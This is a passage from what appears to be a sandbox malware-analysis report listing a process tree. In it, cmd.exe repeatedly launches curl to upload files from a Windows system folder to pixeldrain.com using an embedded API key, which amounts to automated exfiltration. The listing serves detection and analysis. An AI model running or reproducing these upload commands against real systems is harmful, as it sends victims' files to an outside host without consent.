    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..in.preinstalledapps_31bf3856ad364e35_10.0.26100.1_none_bf06f7282890b976\DefaultSquareTileLogo1.scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..in.preinstalledapps_31bf3856ad364e35_10.0.26100.1_none_bf06f7282890b976-DefaultSquareTileLogo1.scale-100.png-07-11-2026--13.57.23.png
    3⤵
    PID:4672
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..in.preinstalledapps_31bf3856ad364e35_10.0.26100.1_none_bf06f7282890b976\DefaultSquareTileLogo1.scale-140.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..in.preinstalledapps_31bf3856ad364e35_10.0.26100.1_none_bf06f7282890b976-DefaultSquareTileLogo1.scale-140.png-07-11-2026--13.57.23.png
  2⤵
  PID:2180
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..in.preinstalledapps_31bf3856ad364e35_10.0.26100.1_none_bf06f7282890b976\DefaultSquareTileLogo1.scale-140.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..in.preinstalledapps_31bf3856ad364e35_10.0.26100.1_none_bf06f7282890b976-DefaultSquareTileLogo1.scale-140.png-07-11-2026--13.57.23.png
    3⤵
    PID:4968
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..in.preinstalledapps_31bf3856ad364e35_10.0.26100.1_none_bf06f7282890b976\DefaultSquareTileLogo1.scale-180.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..in.preinstalledapps_31bf3856ad364e35_10.0.26100.1_none_bf06f7282890b976-DefaultSquareTileLogo1.scale-180.png-07-11-2026--13.57.23.png
  2⤵
  PID:4072
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..in.preinstalledapps_31bf3856ad364e35_10.0.26100.1_none_bf06f7282890b976\DefaultSquareTileLogo1.scale-180.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..in.preinstalledapps_31bf3856ad364e35_10.0.26100.1_none_bf06f7282890b976-DefaultSquareTileLogo1.scale-180.png-07-11-2026--13.57.23.png
    3⤵
    PID:4872
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..in.preinstalledapps_31bf3856ad364e35_10.0.26100.1_none_bf06f7282890b976\DefaultSquareTileLogo1.scale-80.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..in.preinstalledapps_31bf3856ad364e35_10.0.26100.1_none_bf06f7282890b976-DefaultSquareTileLogo1.scale-80.png-07-11-2026--13.57.24.png
  2⤵
  PID:1108
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..in.preinstalledapps_31bf3856ad364e35_10.0.26100.1_none_bf06f7282890b976\DefaultSquareTileLogo1.scale-80.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..in.preinstalledapps_31bf3856ad364e35_10.0.26100.1_none_bf06f7282890b976-DefaultSquareTileLogo1.scale-80.png-07-11-2026--13.57.24.png
    3⤵
    PID:4924
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..riencehost.appxmain_31bf3856ad364e35_10.0.26100.1591_none_9e7873f8fda6cd33\AccountLogo.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..riencehost.appxmain_31bf3856ad364e35_10.0.26100.1591_none_9e7873f8fda6cd33-AccountLogo.png-07-11-2026--13.57.24.png
  2⤵
  PID:2096
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..riencehost.appxmain_31bf3856ad364e35_10.0.26100.1591_none_9e7873f8fda6cd33\AccountLogo.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..riencehost.appxmain_31bf3856ad364e35_10.0.26100.1591_none_9e7873f8fda6cd33-AccountLogo.png-07-11-2026--13.57.24.png
    3⤵
    PID:5608
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..riencehost.appxmain_31bf3856ad364e35_10.0.26100.1591_none_9e7873f8fda6cd33\AccountSmallLogo.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..riencehost.appxmain_31bf3856ad364e35_10.0.26100.1591_none_9e7873f8fda6cd33-AccountSmallLogo.png-07-11-2026--13.57.24.png
  2⤵
  - Executes a command shell one-liner
  PID:5412
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..riencehost.appxmain_31bf3856ad364e35_10.0.26100.1591_none_9e7873f8fda6cd33\AccountSmallLogo.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..riencehost.appxmain_31bf3856ad364e35_10.0.26100.1591_none_9e7873f8fda6cd33-AccountSmallLogo.png-07-11-2026--13.57.24.png
    3⤵
    PID:2704
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..riencehost.appxmain_31bf3856ad364e35_10.0.26100.1591_none_9e7873f8fda6cd33\logo.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..riencehost.appxmain_31bf3856ad364e35_10.0.26100.1591_none_9e7873f8fda6cd33-logo.png-07-11-2026--13.57.24.png
  2⤵
  PID:2924
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..riencehost.appxmain_31bf3856ad364e35_10.0.26100.1591_none_9e7873f8fda6cd33\logo.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..riencehost.appxmain_31bf3856ad364e35_10.0.26100.1591_none_9e7873f8fda6cd33-logo.png-07-11-2026--13.57.24.png
    3⤵
    PID:4644
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..riencehost.appxmain_31bf3856ad364e35_10.0.26100.1591_none_9e7873f8fda6cd33\NetworkProfilesWhite.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..riencehost.appxmain_31bf3856ad364e35_10.0.26100.1591_none_9e7873f8fda6cd33-NetworkProfilesWhite.png-07-11-2026--13.57.25.png
  2⤵
  PID:4692
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..riencehost.appxmain_31bf3856ad364e35_10.0.26100.1591_none_9e7873f8fda6cd33\NetworkProfilesWhite.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..riencehost.appxmain_31bf3856ad364e35_10.0.26100.1591_none_9e7873f8fda6cd33-NetworkProfilesWhite.png-07-11-2026--13.57.25.png
    3⤵
    PID:4080
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..riencehost.appxmain_31bf3856ad364e35_10.0.26100.1591_none_9e7873f8fda6cd33\ProvisionedApplicationsWhite.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..riencehost.appxmain_31bf3856ad364e35_10.0.26100.1591_none_9e7873f8fda6cd33-ProvisionedApplicationsWhite.png-07-11-2026--13.57.25.png
  2⤵
  PID:4928
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..riencehost.appxmain_31bf3856ad364e35_10.0.26100.1591_none_9e7873f8fda6cd33\ProvisionedApplicationsWhite.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..riencehost.appxmain_31bf3856ad364e35_10.0.26100.1591_none_9e7873f8fda6cd33-ProvisionedApplicationsWhite.png-07-11-2026--13.57.25.png
    3⤵
    PID:1904
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..riencehost.appxmain_31bf3856ad364e35_10.0.26100.1591_none_9e7873f8fda6cd33\ProvisionedCertificatesWhite.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..riencehost.appxmain_31bf3856ad364e35_10.0.26100.1591_none_9e7873f8fda6cd33-ProvisionedCertificatesWhite.png-07-11-2026--13.57.25.png
  2⤵
  PID:4104
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..riencehost.appxmain_31bf3856ad364e35_10.0.26100.1591_none_9e7873f8fda6cd33\ProvisionedCertificatesWhite.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..riencehost.appxmain_31bf3856ad364e35_10.0.26100.1591_none_9e7873f8fda6cd33-ProvisionedCertificatesWhite.png-07-11-2026--13.57.25.png
    3⤵
    PID:4548
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..riencehost.appxmain_31bf3856ad364e35_10.0.26100.1591_none_9e7873f8fda6cd33\SecurityPoliciesWhite.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..riencehost.appxmain_31bf3856ad364e35_10.0.26100.1591_none_9e7873f8fda6cd33-SecurityPoliciesWhite.png-07-11-2026--13.57.25.png
  2⤵
  PID:4648
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..riencehost.appxmain_31bf3856ad364e35_10.0.26100.1591_none_9e7873f8fda6cd33\SecurityPoliciesWhite.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..riencehost.appxmain_31bf3856ad364e35_10.0.26100.1591_none_9e7873f8fda6cd33-SecurityPoliciesWhite.png-07-11-2026--13.57.25.png
    3⤵
    PID:1700
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..riencehost.appxmain_31bf3856ad364e35_10.0.26100.1591_none_9e7873f8fda6cd33\smalllogo.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..riencehost.appxmain_31bf3856ad364e35_10.0.26100.1591_none_9e7873f8fda6cd33-smalllogo.png-07-11-2026--13.57.26.png
  2⤵
  PID:1492
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..riencehost.appxmain_31bf3856ad364e35_10.0.26100.1591_none_9e7873f8fda6cd33\smalllogo.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..riencehost.appxmain_31bf3856ad364e35_10.0.26100.1591_none_9e7873f8fda6cd33-smalllogo.png-07-11-2026--13.57.26.png
    3⤵
    PID:3360
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..riencehost.appxmain_31bf3856ad364e35_10.0.26100.1591_none_9e7873f8fda6cd33\splashscreen.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..riencehost.appxmain_31bf3856ad364e35_10.0.26100.1591_none_9e7873f8fda6cd33-splashscreen.png-07-11-2026--13.57.26.png
  2⤵
  PID:4936
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..riencehost.appxmain_31bf3856ad364e35_10.0.26100.1591_none_9e7873f8fda6cd33\splashscreen.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..riencehost.appxmain_31bf3856ad364e35_10.0.26100.1591_none_9e7873f8fda6cd33-splashscreen.png-07-11-2026--13.57.26.png
    3⤵
    PID:4264
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..riencehost.appxmain_31bf3856ad364e35_10.0.26100.1591_none_9e7873f8fda6cd33\storelogo.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..riencehost.appxmain_31bf3856ad364e35_10.0.26100.1591_none_9e7873f8fda6cd33-storelogo.png-07-11-2026--13.57.26.png
  2⤵
  PID:1620
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..riencehost.appxmain_31bf3856ad364e35_10.0.26100.1591_none_9e7873f8fda6cd33\storelogo.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..riencehost.appxmain_31bf3856ad364e35_10.0.26100.1591_none_9e7873f8fda6cd33-storelogo.png-07-11-2026--13.57.26.png
    3⤵
    PID:3528
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-d..s-ime-japanese-core_31bf3856ad364e35_10.0.26100.1_none_6c5f05d3f6347a94\JpnImeModeToast.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-d..s-ime-japanese-core_31bf3856ad364e35_10.0.26100.1_none_6c5f05d3f6347a94-JpnImeModeToast.png-07-11-2026--13.57.26.png
  2⤵
  PID:2340
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-d..s-ime-japanese-core_31bf3856ad364e35_10.0.26100.1_none_6c5f05d3f6347a94\JpnImeModeToast.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-d..s-ime-japanese-core_31bf3856ad364e35_10.0.26100.1_none_6c5f05d3f6347a94-JpnImeModeToast.png-07-11-2026--13.57.26.png
    3⤵
    PID:4600
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-d..scannerpreview-host_31bf3856ad364e35_10.0.26100.1150_none_2e44a4dc7ef60e78\Digimarc-Logo.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-d..scannerpreview-host_31bf3856ad364e35_10.0.26100.1150_none_2e44a4dc7ef60e78-Digimarc-Logo.png-07-11-2026--13.57.27.png
  2⤵
  PID:4616
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-d..scannerpreview-host_31bf3856ad364e35_10.0.26100.1150_none_2e44a4dc7ef60e78\Digimarc-Logo.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-d..scannerpreview-host_31bf3856ad364e35_10.0.26100.1150_none_2e44a4dc7ef60e78-Digimarc-Logo.png-07-11-2026--13.57.27.png
    3⤵
    PID:1684
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-d..scannerpreview-host_31bf3856ad364e35_10.0.26100.1150_none_2e44a4dc7ef60e78\SplashScreen.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-d..scannerpreview-host_31bf3856ad364e35_10.0.26100.1150_none_2e44a4dc7ef60e78-SplashScreen.png-07-11-2026--13.57.27.png
  2⤵
  - Executes a command shell one-liner
  PID:5524
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-d..scannerpreview-host_31bf3856ad364e35_10.0.26100.1150_none_2e44a4dc7ef60e78\SplashScreen.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-d..scannerpreview-host_31bf3856ad364e35_10.0.26100.1150_none_2e44a4dc7ef60e78-SplashScreen.png-07-11-2026--13.57.27.png
    3⤵
    PID:1524
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-d..scannerpreview-host_31bf3856ad364e35_10.0.26100.1150_none_2e44a4dc7ef60e78\Square150x150Logo.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-d..scannerpreview-host_31bf3856ad364e35_10.0.26100.1150_none_2e44a4dc7ef60e78-Square150x150Logo.png-07-11-2026--13.57.27.png
  2⤵
  PID:3668
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-d..scannerpreview-host_31bf3856ad364e35_10.0.26100.1150_none_2e44a4dc7ef60e78\Square150x150Logo.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-d..scannerpreview-host_31bf3856ad364e35_10.0.26100.1150_none_2e44a4dc7ef60e78-Square150x150Logo.png-07-11-2026--13.57.27.png
    3⤵
    PID:1928
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-d..scannerpreview-host_31bf3856ad364e35_10.0.26100.1150_none_2e44a4dc7ef60e78\Square44x44Logo.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-d..scannerpreview-host_31bf3856ad364e35_10.0.26100.1150_none_2e44a4dc7ef60e78-Square44x44Logo.png-07-11-2026--13.57.28.png
  2⤵
  PID:2592
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-d..scannerpreview-host_31bf3856ad364e35_10.0.26100.1150_none_2e44a4dc7ef60e78\Square44x44Logo.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-d..scannerpreview-host_31bf3856ad364e35_10.0.26100.1150_none_2e44a4dc7ef60e78-Square44x44Logo.png-07-11-2026--13.57.28.png
    3⤵
    PID:4632
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-d..scannerpreview-host_31bf3856ad364e35_10.0.26100.1150_none_2e44a4dc7ef60e78\StoreLogo.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-d..scannerpreview-host_31bf3856ad364e35_10.0.26100.1150_none_2e44a4dc7ef60e78-StoreLogo.png-07-11-2026--13.57.28.png
  2⤵
  PID:1768
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4996
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-d..scannerpreview-host_31bf3856ad364e35_10.0.26100.1150_none_2e44a4dc7ef60e78\StoreLogo.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-d..scannerpreview-host_31bf3856ad364e35_10.0.26100.1150_none_2e44a4dc7ef60e78-StoreLogo.png-07-11-2026--13.57.28.png
    3⤵
    PID:3900
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-d..scannerpreview-host_31bf3856ad364e35_10.0.26100.1150_none_2e44a4dc7ef60e78\Wide310x150Logo.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-d..scannerpreview-host_31bf3856ad364e35_10.0.26100.1150_none_2e44a4dc7ef60e78-Wide310x150Logo.png-07-11-2026--13.57.28.png
  2⤵
  PID:464
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4624
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-d..scannerpreview-host_31bf3856ad364e35_10.0.26100.1150_none_2e44a4dc7ef60e78\Wide310x150Logo.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-d..scannerpreview-host_31bf3856ad364e35_10.0.26100.1150_none_2e44a4dc7ef60e78-Wide310x150Logo.png-07-11-2026--13.57.28.png
    3⤵
    PID:4952
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-dxp-deviceexperience_31bf3856ad364e35_10.0.26100.1150_none_e30c7c3aa9b12724\background.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-dxp-deviceexperience_31bf3856ad364e35_10.0.26100.1150_none_e30c7c3aa9b12724-background.png-07-11-2026--13.57.28.png
  2⤵
  PID:4052
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-dxp-deviceexperience_31bf3856ad364e35_10.0.26100.1150_none_e30c7c3aa9b12724\background.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-dxp-deviceexperience_31bf3856ad364e35_10.0.26100.1150_none_e30c7c3aa9b12724-background.png-07-11-2026--13.57.28.png
    3⤵
    PID:1264
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-dxp-deviceexperience_31bf3856ad364e35_10.0.26100.1150_none_e30c7c3aa9b12724\watermark.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-dxp-deviceexperience_31bf3856ad364e35_10.0.26100.1150_none_e30c7c3aa9b12724-watermark.png-07-11-2026--13.57.29.png
  2⤵
  PID:5876
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5232
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-dxp-deviceexperience_31bf3856ad364e35_10.0.26100.1150_none_e30c7c3aa9b12724\watermark.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-dxp-deviceexperience_31bf3856ad364e35_10.0.26100.1150_none_e30c7c3aa9b12724-watermark.png-07-11-2026--13.57.29.png
    3⤵
    PID:4664
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-e..ifiedwritefilter-ux_31bf3856ad364e35_10.0.26100.1150_none_85b50275334e6c75\ResetDriveSquare44x44Logo.scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-e..ifiedwritefilter-ux_31bf3856ad364e35_10.0.26100.1150_none_85b50275334e6c75-ResetDriveSquare44x44Logo.scale-100.png-07-11-2026--13.57.29.png
  2⤵
  PID:3880
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-e..ifiedwritefilter-ux_31bf3856ad364e35_10.0.26100.1150_none_85b50275334e6c75\ResetDriveSquare44x44Logo.scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-e..ifiedwritefilter-ux_31bf3856ad364e35_10.0.26100.1150_none_85b50275334e6c75-ResetDriveSquare44x44Logo.scale-100.png-07-11-2026--13.57.29.png
    3⤵
    PID:1000
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-e..ifiedwritefilter-ux_31bf3856ad364e35_10.0.26100.1150_none_85b50275334e6c75\ResetDriveSquare44x44Logo.scale-100_contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-e..ifiedwritefilter-ux_31bf3856ad364e35_10.0.26100.1150_none_85b50275334e6c75-ResetDriveSquare44x44Logo.scale-100_contrast-black.png-07-11-2026--13.57.29.png
  2⤵
  PID:1324
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-e..ifiedwritefilter-ux_31bf3856ad364e35_10.0.26100.1150_none_85b50275334e6c75\ResetDriveSquare44x44Logo.scale-100_contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-e..ifiedwritefilter-ux_31bf3856ad364e35_10.0.26100.1150_none_85b50275334e6c75-ResetDriveSquare44x44Logo.scale-100_contrast-black.png-07-11-2026--13.57.29.png
    3⤵
    PID:2060
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-e..ifiedwritefilter-ux_31bf3856ad364e35_10.0.26100.1150_none_85b50275334e6c75\ResetDriveSquare44x44Logo.scale-100_contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-e..ifiedwritefilter-ux_31bf3856ad364e35_10.0.26100.1150_none_85b50275334e6c75-ResetDriveSquare44x44Logo.scale-100_contrast-white.png-07-11-2026--13.57.30.png
  2⤵
  PID:3960
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-e..ifiedwritefilter-ux_31bf3856ad364e35_10.0.26100.1150_none_85b50275334e6c75\ResetDriveSquare44x44Logo.scale-100_contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-e..ifiedwritefilter-ux_31bf3856ad364e35_10.0.26100.1150_none_85b50275334e6c75-ResetDriveSquare44x44Logo.scale-100_contrast-white.png-07-11-2026--13.57.30.png
    3⤵
    PID:4284
- C:\Windows\SysWOW64\cmd.exe
